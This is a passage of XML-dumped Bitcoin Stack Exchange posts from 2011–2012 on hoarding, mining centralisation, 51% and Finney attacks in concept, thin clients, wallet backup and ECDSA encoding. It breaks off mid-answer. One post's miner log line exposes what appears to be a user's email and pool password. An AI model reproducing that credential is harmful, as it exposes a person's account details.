  <row Id="2345" PostTypeId="2" ParentId="408" CreationDate="2011-12-29T21:00:34.973" Score="15" Body="&lt;p&gt;Bitcoin is really a little strange because it doesn't know if it is a currency or a commodity.  And this is why this question has many answers and is a popular item of discussion.   If Bitcoin were just a commodity, the thing to do is to hoard it.  There are lots of commodities that are almost totally hoarded.  For example: emeralds or works of art.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if Bitcoin is just a currency, then hoarding is a problem.  Economists, when they talk about money supply, also talk about the velocity of money, which is a measure of hoarding.  The amount of money times how fast it is moving is a measure of total money being used.  (Of course, with computers, money moves faster now than it ever has.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question, hoarding helps somewhat and hurts somewhat.  Which one overpowers the other, nobody can say.  The net effect will be shown to us all over time.&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="662" LastEditDate="2012-01-03T21:30:50.980" LastActivityDate="2012-01-03T21:30:50.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2346" PostTypeId="2" ParentId="2329" CreationDate="2011-12-29T21:45:02.830" Score="2" Body="&lt;p&gt;There is no monopoly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all a thousand video cards wouldn't be sufficient.  Maybe 20,000 video cards.  Still say a company did that and drove the cost of mining down so many people left.  That is possible.  The second part of your scenario was the bank raising fees and putting in all kinds of restrictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bank can't &quot;raise fees&quot;.  It can simply choose not to process transactions.  If it chooses to put its fees so high that it excludes a majority of transactions then the remaining &quot;fair&quot; miners will see their revenue increase.  Eventually that will result in more miners coming back in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the essentially no barriers to entry attempting to form a monopoly is simply a good way to operate at a loss.  There is no payday because you can't keep competitors from rejoining the market once you drive (or attempt to drive) prices up.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-12-29T21:45:02.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2347" PostTypeId="2" ParentId="2338" CreationDate="2011-12-29T21:52:27.497" Score="3" Body="&lt;p&gt;Each node in the network accepts any transactions with a higher sequence field (in TxIn) as long as the transaction isn't locked (lock time hasn't expired).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can't be used as an attack because the client is aware the transaction is unlocked and thus could be modified.  The client (and thus any merchant) will/should treat the transaction as even less secure than an unconfirmed one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To protect oneself the merchant just needs to wait until the lock time has expired (then transaction is similar to any other 0-confirm transaction) and for even more security wait for 1 to 6 confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the client only supports lock time of 0 (lock as soon as created) and sequence of max UINT (no possible higher sequence) which prevents modifying transactions.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-12-29T21:52:27.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2348" PostTypeId="5" CreationDate="2011-12-29T22:22:43.513" Score="0" Body="&lt;p&gt;From the &lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;project page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BitCoinJ is a Java implementation of the native BitCoin P2P protocol,&#xA;  which allows it to maintain a wallet and send/receive transactions&#xA;  without needing a local copy of the official implementation. It comes&#xA;  with full documentation and some example apps showing how to use the&#xA;  library.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It has been ported to C# in &lt;a href=&quot;http://code.google.com/p/bitcoinsharp/&quot; rel=&quot;nofollow&quot;&gt;BitCoinSharp&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-12-29T22:31:08.273" LastActivityDate="2011-12-29T22:31:08.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2349" PostTypeId="4" CreationDate="2011-12-29T22:22:43.513" Score="0" Body="A Java library for processing Bitcoin, stores blockchain headers only" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-12-29T22:30:58.210" LastActivityDate="2011-12-29T22:30:58.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2350" PostTypeId="5" CreationDate="2011-12-29T22:26:28.483" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinjs.org/&quot; rel=&quot;nofollow&quot;&gt;bitcoinjs&lt;/a&gt; is a collection of projects and libraries in javascript designed to offer wallet and other services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One such service is &lt;a href=&quot;https://github.com/bitcoinjs/node-bitcoin-exit&quot; rel=&quot;nofollow&quot;&gt;Exit Nodes&lt;/a&gt; - a Node.js server for providing Bitcoin webservices to thin clients (possibly written in languages other than javascript).&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-12-29T22:30:53.170" LastActivityDate="2011-12-29T22:30:53.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2351" PostTypeId="4" CreationDate="2011-12-29T22:26:28.483" Score="0" Body="BitcoinJS is a set of javascript open-source libraries." OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-12-29T22:30:43.017" LastActivityDate="2011-12-29T22:30:43.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2352" PostTypeId="2" ParentId="2329" CreationDate="2011-12-29T22:46:49.743" Score="4" Body="&lt;p&gt;In that scenario, the corporation could:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Launch a &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses&quot; rel=&quot;nofollow&quot;&gt;51% attack&lt;/a&gt; at a whim&lt;/li&gt;&#xA;&lt;li&gt;Pretty much control the Bitcoin economy, driving the prices up or down how it sees fit (at least until it spends all of their Bitcoins)&lt;/li&gt;&#xA;&lt;li&gt;Control which transactions get included in the block or not. This could require one to use their specific client and thus gain more control over the network&lt;/li&gt;&#xA;&lt;li&gt;Have a big impact on the Difficulty, as it could turn its machines on and off&lt;/li&gt;&#xA;&lt;li&gt;Control the rate at Blocks are mined (for example, holding onto a solved block for certain amount of time before broadcasting it)&lt;/li&gt;&#xA;&lt;li&gt;Control who gets to see the most recent Blocks. With this, they could hold out a long chain of solved Blocks for their own client, and when a standard client would finally mine a block, they could just release a couple old blocks to invalidate that chain&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All in all, if you own majority of the hashing power, you can pretty much dictate your own rules, up to what the Protocol allows.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-29T22:46:49.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2353" PostTypeId="2" ParentId="2341" CreationDate="2011-12-30T03:06:43.170" Score="1" Body="&lt;p&gt;They'd either have to convert from Bitcoins immediately into cash or become Bitcoin speculators. Neither choice is very attractive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they convert immediately into cash, they incur a transaction fee on their end and likely the donor incurs a transaction fee on their end too. They're also in uncharted waters as far as the tax status of those donations goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They should be deductible but at the purchase value or at the value at time of transfer? If I buy Bitcoins at $30 each and they drop to $8, can I donate them and deduct the full $30?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other choice to cashing them in is to hold onto them. If they become speculators/hoarders, someone has to manage their Bitcoin portfolio and there's always the risk they'll take losses. It wasn't too long ago that Bitcoins dropped from $30 to $3. A 90% drop in a portfolio is not something a non-profit can tolerate if their portfolio is a significant fraction of their assets. (And, of course, a non-profit cannot tax deduct its losses, though with sufficient effort and accounting cleverness, they may be able to sell them.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this just doesn't make sense yet.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-30T03:06:43.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2354" PostTypeId="1" AcceptedAnswerId="2359" CreationDate="2011-12-30T04:03:48.900" Score="4" ViewCount="255" Body="&lt;p&gt;What are the bare data necessities that a lightweight client would have to get from a server client in order to perform basic wallet tasks (show balance, transaction history, number of confirmations, send coins)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a simple, light client could store all Txs where any of the given addresses from the wallet were used, but one could also try trimming all data from those Txs that aren't related to their addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the bare minimum of data a client needs in order to function?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-30T19:26:48.223" Title="Lightweight client, bare necessities" Tags="|transactions|client|thin-clients|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2355" PostTypeId="2" ParentId="2337" CreationDate="2011-12-30T06:07:22.147" Score="26" Body="&lt;p&gt;main.cpp carries this comment:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;// The message start string is designed to be unlikely to occur in normal data.&#xA;// The characters are rarely used upper ascii, not valid as UTF-8, and produce&#xA;// a large 4-byte int at any alignment.&#xA;unsigned char pchMessageStart[4] = { 0xf9, 0xbe, 0xb4, 0xd9 };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="280" LastEditorUserId="123594" LastEditDate="2023-08-15T19:47:34.010" LastActivityDate="2023-08-15T19:47:34.010" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="2356" PostTypeId="1" AcceptedAnswerId="2360" CreationDate="2011-12-30T15:08:14.727" Score="3" ViewCount="1350" Body="&lt;p&gt;I have a question concerning the transaction of bitcoins. If, for example, I send some BTC to a specific address, does the receiver have any chance in verifying that I have already sent the BTC, before they are being registered in his wallet? I know there is &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/&lt;/a&gt;, where I can look the transactions up. But is there any functionality for it in the Bitcoin-Client, which I could use in RPC-Calls?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use case for this: Assume there is an application that uses Bitcoin via RPC-Calls to the Client. I want to buy something via the application and the seller should be able to see that I paid the correct amount of BTC without having to wait for the transaction to be finally redeemed in his client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-05-13T00:20:35.457" Title="Tracking transactions as a Receiver" Tags="|transactions|verification|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2357" PostTypeId="1" CreationDate="2011-12-30T16:27:07.727" Score="6" ViewCount="758" Body="&lt;p&gt;I'd like to develop a Java binding to the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=55842&quot; rel=&quot;nofollow&quot;&gt;Stratum Overlay Network&lt;/a&gt; (a server for thin clients). This requires &lt;a href=&quot;https://bitcointalk.org/index.php?topic=55842.msg667307#msg667307&quot; rel=&quot;nofollow&quot;&gt;signing on offline transactions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I directly use bitcoinj's API to do this? Can I copy-paste some java from from it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In shorts, how would I generate/sign offline transactions in Java?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="105" LastEditDate="2012-01-10T14:15:42.377" LastActivityDate="2012-01-21T15:01:02.630" Title="How do I generate offline transactions in Java?" Tags="|development|thin-clients|bitcoinj|java|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2358" PostTypeId="2" ParentId="2356" CreationDate="2011-12-30T18:57:45.923" Score="0" Body="&lt;p&gt;There's a &lt;a href=&quot;http://bitcoincharts.com/bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Charts&lt;/a&gt; page that shows pending transactions. There are also patches available for the official client (they may be out of date though) to show pending transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do it right, you need to run more than one Bitcoin client and connect them as close to the major mining pools as possible. You need to check pending transactions at all of your nodes and if you see a conflicting transaction at any of those nodes, wait for confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be warned, this method, even if done right, is vulnerable to the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=3441.msg48384#msg48384&quot; rel=&quot;nofollow noreferrer&quot;&gt;Finney attack&lt;/a&gt;. To launch a Finney attack, you must risk losing a block reward, so if a transaction is worth more than 50 Bitcoins (the current block reward), I'd recommend waiting for at least one confirmation.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Finney attack is a form of double-spending attack where the attacker pre-mines a block containing a conflicting transaction and then publishes a transaction. A merchant relies on the published transaction to do something irreversible. The attacker then succeeds if he can publish the pre-mined block after the merchant has committed and before the network can find a different block. (The merchant must act irrevocably on a published, but unconfirmed, transaction.) -- &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1192/would-a-reduced-block-generation-time-make-the-finney-attack-more-difficult/1200#comment-1357&quot;&gt;Question about the Finney attack&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2011-12-30T18:57:45.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2359" PostTypeId="2" ParentId="2354" CreationDate="2011-12-30T19:26:48.223" Score="2" Body="&lt;p&gt;In order to correctly show balance and be able to create new transactions, a thin client needs the following information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Current block number&lt;/li&gt;&#xA;&lt;li&gt;OutPoint information - hash of the incoming transaction and position of the output relevant to the client.&lt;/li&gt;&#xA;&lt;li&gt;Signature script, as it needs to be included in a Tx&lt;/li&gt;&#xA;&lt;li&gt;Amount of Bitcoins send/received in the given transaction&lt;/li&gt;&#xA;&lt;li&gt;Block number in which the transaction was included (for knowing the amount of confirmations)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(Does anyone have an idea what else could be useful or needed?)&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-30T19:26:48.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2360" PostTypeId="2" ParentId="2356" CreationDate="2011-12-30T20:30:28.207" Score="1" Body="&lt;p&gt;The client will often know about received transactions seconds after they have been sent. Transactions that have not gotten into a block yet are said to have 0 confirmations. You can see them by adjusting the parameters of &lt;em&gt;listreceivedbyaddress&lt;/em&gt;, etc. so that they show 0-confirmation transactions.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-12-30T20:30:28.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2361" PostTypeId="1" CreationDate="2011-12-30T21:23:45.780" Score="5" ViewCount="670" Body="&lt;p&gt;If a new cryptocurrency is created, with some unknown property that Bitcoin does not have, can Bitcoin be adapted to include this property, or will Bitcoin become obsolete?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I believe I know the answer, but I still think it's an important question. Spurred by &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/nwigg/any_feature_that_bitcoin_lacks_and_is/&quot;&gt;this reddit post&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-12-30T22:49:13.567" Title="Can a competing cryptocurrency make Bitcoin obsolete?" Tags="|alternatives|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2362" PostTypeId="2" ParentId="2361" CreationDate="2011-12-30T22:49:13.567" Score="4" Body="&lt;p&gt;If it is a feature for the client that doesn't affect the Bitcoin network (like say, stronger wallet encryption or something like that), it is not a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the feature is related to the cryptographic security (say, SHA-2 becomes somehow obsolete), then adoption might be problematic. First of all, the developers would have to prepare the change and schedule it in advance (for example, &quot;Starting with block X, we will be using SHA-3&quot;). This would require all the clients, both standard and alternative, to get updated before that time or risk not being able to connect to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, if the change is related to a vulnerability of a cryptographic algorithm of Bitcoins, then the entire network might get compromised before the update could happen. For example, if securing the old coins would require one to send them to a new address, then in a short period of time before everyone would do it, someone could potentially steal a lot of coins. Luckily, a scenario like this is very unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, adopting new features into Bitcoin is possible, although time and consideration is required. Bitcoin's value is in its stable nature, so revolutionary changes could only destabilize it.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-30T22:49:13.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2363" PostTypeId="1" AcceptedAnswerId="2364" CreationDate="2011-12-31T05:30:06.723" Score="4" ViewCount="284" Body="&lt;p&gt;I am building a website, and would like to backup my wallet.dat file after every transaction occurs, but I would not like to have to shut down bitcoind every time I make a backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The common wisdom seems to be that you should shut down your bitcoin client when making a backup, but that doesn't seem absolutely necessary as long as the wallet has been fully written to and flushed to disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would locking the wallet be enough to ensure that the wallet has been written to before making a backup? Are there any other techniques that websites typically deploy for making &quot;hot backups&quot;?&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2011-12-31T07:47:47.280" Title="When backing up a wallet, is it required to shut down the bitcoin client?" Tags="|bitcoind|backup|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2364" PostTypeId="2" ParentId="2363" CreationDate="2011-12-31T07:47:47.280" Score="2" Body="&lt;p&gt;The Bitcoin client's &lt;a href=&quot;https://en.bitcoin.it/wiki/Api&quot; rel=&quot;nofollow&quot;&gt;RPC interface&lt;/a&gt; provides a wallet backup command. It's &quot;backupwallet &amp;lt;&lt;em&gt;filename&lt;/em&gt;&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-31T07:47:47.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2365" PostTypeId="1" CreationDate="2011-12-31T11:51:53.827" Score="3" ViewCount="766" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/136/where-can-i-find-a-graph-of-bitcoin-value-vs-usd-for-over-60-days&quot;&gt;Where can I find a graph of Bitcoin value vs USD for over 60 days?&lt;/a&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/748/where-can-i-get-raw-data-series-of-bitcoin-prices&quot;&gt;Where can I get raw data series of Bitcoin prices?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Where can I get historical price data for bitcoin?  I know the Apis will give me current data&#xA;, but what if I want the day's ticks for say 100 days ago?&lt;/p&gt;&#xA;" OwnerUserId="839" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-01-24T17:16:40.947" Title="Tick and price data" Tags="|historical-trade-data|" AnswerCount="0" CommentCount="2" ClosedDate="2012-01-02T13:42:41.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="2366" PostTypeId="1" AcceptedAnswerId="2372" CreationDate="2011-12-31T13:06:34.123" Score="4" ViewCount="252" Body="&lt;p&gt;I want to write code that accepts a transaction, and afterwards &quot;pays back&quot; some amount to the origin of the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume users will be using the standard client. Will transactions have a single input, or must I handle the situation where a transaction have multiple inputs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I just choose one of these inputs and pay back to that input? I want to avoid having to request users from entering a payout Bitcoin address - it's so much neater to just pay back to the same address they used.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-12-31T19:24:46.997" Title="In order to &quot;pay someone back&quot;, must I ask them for a return address?" Tags="|development|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2367" PostTypeId="2" ParentId="2366" CreationDate="2011-12-31T13:54:04.320" Score="1" Body="&lt;p&gt;As any user can easily receive Bitcoins with multiple addresses, the transactions they send can have multiple inputs. There are a couple cases you should consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Single input, single output - easy case, send coins back to the input (unless some prankster mines coins onto your address, then you might as well keep them instead of sending them to some invalid address)&lt;/li&gt;&#xA;&lt;li&gt;Any number of inputs, two outputs - the second output is probably where the user has sent its remaining coins, you might as well send them there (although you should explain it to the users first)&lt;/li&gt;&#xA;&lt;li&gt;Multiple inputs, single output - you probably should provide the users with two functionalities - either sending coins to the first input, or sending the same amount of coins got from each input into each of them&lt;/li&gt;&#xA;&lt;li&gt;Multiple inputs, multiple outputs - probably should work as the previous case&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All in all, you should provide users with different functionalities, probably each using a different address for their transactions and see which are used more often.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-31T13:54:04.320" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2368" PostTypeId="1" CreationDate="2011-12-31T16:57:53.033" Score="6" ViewCount="20708" Body="&lt;p&gt;I'm new to Bitcoins and I downloaded the new beta version with the encrypted wallet.  I encrypted my wallet but I have no idea on how to decrypt it.  It is locked.  How can I unlock/decrypt my wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, I added a few new addresses for payments but I would like to delete some of them.  It won't allow me to delete them, however.  How can I delete addresses I never used and no longer need?  &lt;/p&gt;&#xA;" OwnerUserId="840" LastEditorUserId="280" LastEditDate="2011-12-31T19:20:36.930" LastActivityDate="2013-05-14T01:46:47.460" Title="How do I unlock, decrypt, Bitcoin wallet?" Tags="|wallet|encryption|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2369" PostTypeId="2" ParentId="2368" CreationDate="2011-12-31T18:02:02.597" Score="0" Body="&lt;p&gt;I don't think you can delete address in the official client.&#xA;As for encryption, try restarting the client, and making a payment - you should be prompted to enter a password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet is only unlocked briefly, in memory, to make payments.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-12-31T18:02:02.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2370" PostTypeId="1" AcceptedAnswerId="3269" CreationDate="2011-12-31T18:12:50.597" Score="2" ViewCount="623" Body="&lt;p&gt;I believe &lt;a href=&quot;http://code.google.com/p/bitcoinj/source/browse/src/com/google/bitcoin/core/TransactionOutput.java&quot; rel=&quot;nofollow&quot;&gt;TransactionOutput&lt;/a&gt; represents one of the outputs of a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a list of such output objects, and a &lt;code&gt;String&lt;/code&gt; that represents my own address. I would like to check that this output reached my address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the destination address from the TransactionOutput object?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-03-24T15:34:03.873" Title="How to get destination address from bitcoinj TransactionOutput?" Tags="|development|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2371" PostTypeId="1" CreationDate="2011-12-31T19:10:59.553" Score="3" ViewCount="7294" Body="&lt;p&gt;GUI Miner v2011-08-24 just shows &quot;connecting...&quot; when trying to connect to slush's pool. The console shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2011-12-31 14:00:49: Running command: poclbm.exe smithd98@gmail.com.macbookpro:4fuqPtrI@api2.bitcoin.cz:8332 --device=0 --platform=0 --verbose &#xA;2011-12-31 14:00:49: Listener for &quot;Default&quot; started&#xA;2011-12-31 14:06:53: Listener for &quot;Default&quot;: api2.bitcoin.cz:8332 31/12/2011 14:06:53, long poll: new block 0000028fd540f91b&#xA;2011-12-31 14:07:33: Listener for &quot;Default&quot;: api2.bitcoin.cz:8332 31/12/2011 14:07:33, long poll: new block 0000079641b6608b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where xxxxxx is my correct password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried uninstalling (removing the directory, ensuring the process isn't running, and unzipping again) as suggested in this post: &lt;a href=&quot;https://bitcointalk.org/index.php?action=printpage;topic=28886.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?action=printpage;topic=28886.0&lt;/a&gt; but it hasn't worked.&lt;/p&gt;&#xA;" OwnerUserId="841" LastEditorUserId="5406" LastEditDate="2016-02-01T09:32:58.007" LastActivityDate="2016-02-01T09:32:58.007" Title="How do I fix GUI Miner stuck at connecting?" Tags="|mac|windows|stratum|guiminer|miner-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2372" PostTypeId="2" ParentId="2366" CreationDate="2011-12-31T19:24:46.997" Score="4" Body="&lt;p&gt;Assuming that the user uses the standard client, or in fact any client, is a very strong assumption. If the user is using an eWallet service such as Instawallet, in all likelihood the user will not get the funds back, they will be held by the operator and possibly credited to one of his other clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if the input addresses are controlled in some way by the user, paying back to one of them can cause confusion regarding the payment's source - it will look as if the payment was for whatever the address was originally associated with. If there is a change address controlled by the user, it is associated uniquely with the payment to you so the information exists to identify it, though the client may not display it properly.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-31T19:24:46.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2373" PostTypeId="2" ParentId="2368" CreationDate="2011-12-31T19:28:09.270" Score="1" Body="&lt;p&gt;You cannot delete addresses with the standard client, however:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can delete addresses with &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;Pywallet&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If you never received payment with those addresses and never posted them anywhere, you can simply use them the next time you need a new address, just change their label.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-31T19:28:09.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2374" PostTypeId="1" CreationDate="2012-01-01T00:06:08.627" Score="7" ViewCount="425" Body="&lt;p&gt;Is there any alternative to bitcoinnotify? That send a POST request to a URL on an deposit event to a chosen address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is blockchain.info that send email. And instawallet that where you keep a open socket connection. But I am looking specifically for one that sends a HTTP request.&lt;/p&gt;&#xA;" OwnerUserId="243" LastActivityDate="2017-11-15T11:32:44.047" Title="Push deposit notification through HTTP requests" Tags="|development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2375" PostTypeId="2" ParentId="2374" CreationDate="2012-01-01T00:48:18.510" Score="6" Body="&lt;p&gt;Bitping.net is the new service that replaces BitcoinNotify and can provide the service you are requesting.&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2012-01-01T00:48:18.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2376" PostTypeId="1" AcceptedAnswerId="2377" CreationDate="2012-01-01T03:05:40.310" Score="18" ViewCount="16299" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&quot;&gt;An ECDSA algorithm&lt;/a&gt; when signing a given messages produces a pair of outputs, &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA#Signature_generation_algorithm&quot;&gt;r and s&lt;/a&gt;. How, given a sigStr from a Tx can one extract r and s? Are they just concatenated byte arrays of a specific length, or is there more to it?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="121614" LastEditDate="2022-06-23T15:19:50.070" LastActivityDate="2022-06-23T15:19:50.070" Title="ECDSA r, s encoding as a signature" Tags="|transactions|protocol|signature|ecdsa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2377" PostTypeId="2" ParentId="2376" CreationDate="2012-01-01T07:22:14.793" Score="20" Body="&lt;p&gt;If you want, you can pay $100 for the standard, &lt;a href=&quot;http://webstore.ansi.org/RecordDetail.aspx?sku=ANSI+X9.62:2005&quot; rel=&quot;nofollow noreferrer&quot;&gt;ANSI X9.62&lt;/a&gt;. Or, you can cheat and look at &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc3278#section-8.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC3278, section 8.2&lt;/a&gt;. It is in DER format consisting of a SEQUENCE of two INTEGERs. The first INTEGER is &lt;code&gt;r&lt;/code&gt;, the second &lt;code&gt;s&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you look at &lt;a href=&quot;http://blockexplorer.com/rawtx/d2b04f28dfe36bbd7f6228519725f4560b6d7eef0eb9c1b1d4c718f2ba4548f5&quot; rel=&quot;nofollow noreferrer&quot;&gt;this transaction&lt;/a&gt; you can see that one of the signatures is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;3045 